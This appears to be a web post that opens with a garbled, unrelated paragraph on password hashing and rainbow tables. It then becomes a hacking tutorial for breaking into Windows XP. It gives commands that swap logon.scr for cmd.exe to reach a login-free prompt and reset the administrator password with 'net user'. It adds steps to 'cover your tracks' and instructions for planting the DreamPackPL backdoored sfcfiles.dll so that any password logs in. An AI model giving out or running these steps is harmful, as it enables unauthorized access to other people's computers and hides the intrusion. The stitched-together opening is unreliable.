Passwords are never stored in plaintext. At least they shouldn't be, unless you're building the world's most insecure system using the world's most programmers. Instead, passwords are stored as the output of a hash function. Hashes are one-way operations. Even if an attacker gained access to the hashed version of your password, it's not possible to reconstitute the password from the hash value alone.
But it is possible to attack the hashed value of your password using rainbow tables: enormous, pre-computed hash values for every possible combination of characters. An attacking PC could certainly calculate all these hashes on the fly, but taking advantage of a massive table of pre-computed hash values enables the attack to proceed several orders of magnitude faster-- assuming the attacking machine has enough RAM to store the entire table (or at least most of it) in memory. It's a classic time-memory tradeoff, exactly the sort of cheating shortcut you'd expect a black hat attacker to take.
ere are the steps involved to Hack the Window XP Administrator Password .
- Go to Start –> Run –> Type in CMD
- You will get a command prompt. Enter these commands the way it is given
- cd\
- cd\ windows\system32
- mkdir temphack
- copy logon.scr temphack\logon.scr
- copy cmd.exe temphack\cmd.exe
- del logon.scr
- rename cmd.exe logon.scr
- exit
Your are nagivating to the windows system Directory where the system files are stored. Next your creating a temporary directory called mkdir. After which you are copying or backing up the logon.scr and cmd.exe files into the mkdir then you are deleting the logon.scr file and renaming cmd.exe file to logon.scr.
So basically you are telling windows is to backup the command program and the screen saver file. Then we edited the settings so when windows loads the screen saver, we will get an unprotected dos prompt without logging in. When this appears enter this command
net user password
Example: If the admin user name is clazh and you want change the password to pass Then type in the following command
net user clazh pass
Here are the steps involved to De Hack or restore the Window XP Administrator Password to cover your tracks.
- Go to Start –> Run –> Type in CMD
- You will get a command prompt. Enter these commands the way it is given
- cd\
- cd\ windows\system32\temphack
- copy logon.scr C:\windows\system32\logon.scr
- copy cmd.exe C:\windows\system32\cmd.exe
- exit
Or simply go to C:\windows\system32\temphack and copy the contents of temphack back into system32 directory click Yes to overwrite the modified files.
Note To administrators: You can block the entire password change thing just a little tweak in the local security policy (control panel->administrative tools,works only for administrators group) will disallow any change in password even if u r the Admin (u can put a number of other restrictions too), but be cautious to give other users limitted accounts. After you have done this, the above Screensaver technique will fail.
Hack using Dream packPl
Steps to Hack into a Windows XP Computer without changing password:
- Get physical access to the machine. Remember that it must have a CD or DVD drive.
- Download DreamPackPL http://www.d–b.webpark.pl/dreampackpl_en.htm
- Unzip the downloaded dreampackpl_iso.zip and you’ll get dreampackpl.ISO.
- Use any burning program that can burn ISO images.
- After you have the disk, boot from the CD or DVD drive. You will see Windows 2000 Setup and it will load some files.
- Press “R” to install DreamPackPL.
- Press “C” to install DreamPackPL by using the recovery console.
- Select the Windows installation that is currently on the computer (Normally is “1? if you only have one Windows installed)
- Backup your original sfcfiles.dll by typing: “ren C:\Windows\System32\sfcfiles.dll sfcfiles.lld” (without quotes)
- Copy the hacked file from CD to system32 folder. Type: “copy D:\i386\pinball.ex_ C:\Windows\System32\sfcfiles.dll” (without quotes and assuming your CD drive is D:)
- Type “exit”, take out disk and reboot.
- In the password field, type “dreamon” (without quotes) and DreamPack menu will appear.
- Click the top graphic on the DreamPack menu and you will get a menu popup.
- Go to commands and enable the options and enable the god command.
- Type “god” in the password field to get in Windows.
You can also go to Passwords and select “Logon with wrong password and hash”. This option allows you to login with ANY password.
Note: If you are running any kind of Anti-Virus Tool it will give you a prompt saying that it is a Virus since they have already labelled this tool as a Hack-Tool. A Hack-Tool is NOT a virus. The DreamPackPL helps you bypass the Windows Login screen and it is not destructive.
